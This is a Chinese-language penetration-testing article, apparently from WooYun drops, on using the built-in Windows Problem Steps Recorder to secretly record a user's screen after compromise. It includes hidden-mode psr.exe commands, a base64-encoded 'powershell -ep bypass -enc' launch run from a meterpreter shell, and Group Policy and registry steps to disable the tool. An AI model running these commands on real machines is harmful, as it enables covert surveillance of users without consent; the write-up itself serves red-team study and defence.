作者:
三好學生
·
2016/03/29 10:21
0x00 前言
在滲透測試的過程中,如果需要獲取主機的更多資訊,相比於鍵盤記錄,記錄系統螢幕的操作往往更加直接有效。
也許每個人都有自己獨特的實現方式,但是如果能夠利用Windows系統自帶的程式實現,個人認為絕對是最優先考慮的方案。
下面就介紹一下如何利用Windows系統自帶的功能實現監控螢幕操作。
0x01 簡介
PSR(Problem Steps Recorder),直譯為問題步驟記錄器,在Windows 早期的系統中,採用WER(Windows Error Reporting)來收集系統的錯誤報告,但這些報告往往包含的資訊太少以致於無法解決實際問題。
為此,微軟從Windows 7系統開始,增加了PSR來解決這個問題,PSR能夠記錄使用者在遇到崩潰時執行的所有操作,以便測試人員和開發人員能夠重現環境對其分析和除錯。
當PSR執行時,將會自動記錄螢幕的操作,每次操作都會自動儲存成一張圖片,最終生成一份zip格式的報告。
注:
百度百科對psr的名稱描述有誤,準確的應為Problem Steps Recorder(該問題已提交)
如圖
連結為:
http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K
0x02 使用方法
1、啟動psr.exe,點選開始錄製
可使用快捷鍵win+R直接輸入psr來啟動
下圖為psr的操作皮膚,點選開始記錄即可記錄當前的螢幕操作
點選後會提示許可權的問題,如果需要記錄管理員許可權的程式,那麼需要以管理員許可權來執行psr,如圖
2、進行任意操作
當執行psr開始錄製後,滑鼠點選時會增加特效
如圖
3、停止記錄,儲存報告
如圖
4、檢視報告
報告會對每次操作截圖,並記錄滑鼠的操作
比如滑鼠的單擊操作,從截圖註釋可以看到當前的滑鼠做了哪些操作
而且,在報告後半部分會詳細記錄相關細節,裡面的內容也很是有趣:
0x03 進階方法
psr在記錄螢幕的操作中會啟動UI介面,並且對滑鼠點選操作增加特效,這顯然無法滿足滲透測試的要求。
但好在psr提供了命令列引數用作後臺記錄
命令列引數如下:
#!bash
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.
結合實際,可使用以下命令:
psr.exe /start /gui 0 /output C:\test\capture.zip
後臺啟動psr並開始錄製,檔案儲存為C:\test\capture.zip
psr.exe /stop
結束錄製並退出psr,自動儲存報告檔案
0x04 實際測試
測試環境:
Server:
OS:Kali linux
IP:192.168.174.133
Client:
OS:Win7 x86
IP:192.168.174.128
Kali已獲得meterpreter許可權
如圖
測試功能:
- 自動啟動錄製
- 錄製指定時間後自動退出
- 自動儲存報告檔案
可使用Powershell對上述功能做簡單實現:
1、啟動自動錄製,設定為無介面模式,並指定輸出路徑:
#!bash
psr.exe /start /gui 0 /output C:\test\capture.zip;
2、等待10s,即錄製時間為10s:
#!bash
Start-Sleep -s 10;
3、結束錄製,自動退出:
#!bash
psr.exe /stop;
可將以上程式碼儲存為C:\test\1.txt
,然後對其作base64加密
在Powershell環境下執行如下程式碼來對功能程式碼進行base64加密:
#!powershell
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
如圖,從輸出得到加密的Powershell命令為:
#!bash
cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
然後就可以在meterpreter的shell下直接執行Powershell命令:
#!bash
powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
程式碼執行後,等待10s產成報告檔案capture.zip,測試成功
0x05 防禦
可採用以下兩種方法關閉psr:
1、使用組策略
中文系統:
gpedit.msc-管理模板-Windows元件-應用程式相容性
啟用關閉問題步驟記錄器
如圖
英文系統:
gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility
啟用Turn off Problem Steps Recorder
如圖
2、修改登錄檔
#!bash
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
新建"DisableUAR"=dword:00000001
如圖
注:
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除"DisableUAR"對應組策略中的未配置
0x06 小結
利用PSR監控Windows桌面,不僅僅能夠捕獲使用者桌面的操作,而且在報告中會包含更多有用的細節資訊,相信你在滲透測試的過程中,一定會用上它。
0x07 參考資料
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!